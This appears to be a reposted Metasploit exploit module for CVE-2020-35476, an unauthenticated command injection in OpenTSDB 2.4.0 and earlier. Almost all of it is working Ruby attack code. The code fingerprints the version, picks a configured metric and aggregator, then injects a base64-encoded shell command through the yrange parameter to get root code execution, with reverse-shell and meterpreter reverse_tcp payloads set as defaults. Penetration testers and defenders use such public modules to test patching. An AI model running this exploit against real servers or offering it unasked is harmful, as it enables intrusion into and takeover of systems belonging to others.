Share
## https://sploitus.com/exploit?id=PACKETSTORM:170331
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'OpenTSDB 2.4.0 unauthenticated command injection',  
'Description' => %q{  
This module exploits an unauthenticated command injection  
vulnerability in the yrange parameter in OpenTSDB through  
2.4.0 (CVE-2020-35476) in order to achieve unauthenticated  
remote code execution as the root user.  
  
The module first attempts to obtain the OpenTSDB version via  
the api. If the version is 2.4.0 or lower, the module  
performs additional checks to obtain the configured metrics  
and aggregators. It then randomly selects one metric and one  
aggregator and uses those to instruct the target server to  
plot a graph. As part of this request, the yrange parameter is  
set to the payload, which will then be executed by the target  
if the latter is vulnerable.  
  
This module has been successfully tested against OpenTSDB  
version 2.3.0.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Shai rod', # @nightrang3r - discovery and PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' => [  
['CVE', '2020-35476'],  
['URL', 'https://github.com/OpenTSDB/opentsdb/issues/2051'] # disclosure and PoC  
],  
'DefaultOptions' => {  
'RPORT' => 4242  
},  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'CmdStagerFlavor' => %w[bourne curl wget],  
'Targets' => [  
[  
'Automatic (Unix In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },  
'Type' => :unix_memory  
}  
],  
[  
'Automatic (Linux Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'Type' => :linux_dropper  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => '2020-11-18',  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),  
]  
end  
  
def check  
# sanity check to see if the target is likely OpenTSDB  
res1 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
unless res1  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')  
return CheckCode::Safe('Target is not an OpenTSDB application.')  
end  
  
# get the version via the api  
res2 = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api', 'version')  
})  
  
unless res2  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res2.code == 200 && res2.body.include?('version')  
return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')  
end  
  
begin  
parsed_res_body = JSON.parse(res2.body)  
rescue JSON::ParserError  
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')  
end  
  
unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')  
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')  
end  
  
version = parsed_res_body['version']  
  
begin  
if Rex::Version.new(version) <= Rex::Version.new('2.4.0')  
return CheckCode::Appears("The target is OpenTSDB version #{version}")  
else  
return CheckCode::Safe("The target is OpenTSDB version #{version}")  
end  
rescue ArgumentError => e  
return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}")  
end  
end  
  
def select_metric  
# check if any metrics have been configured. if not, exploitation cannot work  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'suggest'),  
'vars_get' => { 'type' => 'metrics' }  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection failed.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics")  
end  
  
begin  
metrics = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')  
end  
  
unless metrics.is_a?(Array)  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')  
end  
  
if metrics.empty?  
fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')  
end  
  
# select a random metric since any will do  
@metric = metrics.sample  
print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}")  
end  
  
def select_aggregator  
# check the configured aggregators and select one at random  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'aggregators')  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection failed.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators")  
end  
  
begin  
aggregators = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.')  
end  
  
unless aggregators.is_a?(Array)  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array')  
end  
  
if aggregators.empty?  
fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible')  
end  
  
# select a random aggregator since any will do  
@aggregator = aggregators.sample  
print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}")  
end  
  
def execute_command(cmd, _opts = {})  
# use base64 to avoid special char escape hell (specifying BadChars did not help)  
cmd = "'echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/sh'"  
start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data  
start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S')  
end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data  
end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S')  
  
get_vars = {  
'start' => start_value,  
'end' => end_value,  
'm' => "#{@aggregator}:#{@metric}",  
'yrange' => "[1:system(#{Rex::Text.uri_encode(cmd)})]",  
'wxh' => "#{rand(800..1600)}x#{rand(400..600)}",  
'style' => 'linespoint'  
}  
  
exploit_uri = '?'  
get_vars.each do |key, value|  
exploit_uri += "#{key}=#{value}&"  
end  
exploit_uri += 'json'  
  
# using a raw request because cgi was leading to encoding issues  
send_request_raw({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri)  
}, 0) # we don't have to wait for a reply here  
end  
  
def exploit  
select_metric  
select_aggregator  
if target.arch.first == ARCH_CMD  
print_status('Executing the payload')  
execute_command(payload.encoded)  
else  
execute_cmdstager(background: true)  
end  
end  
end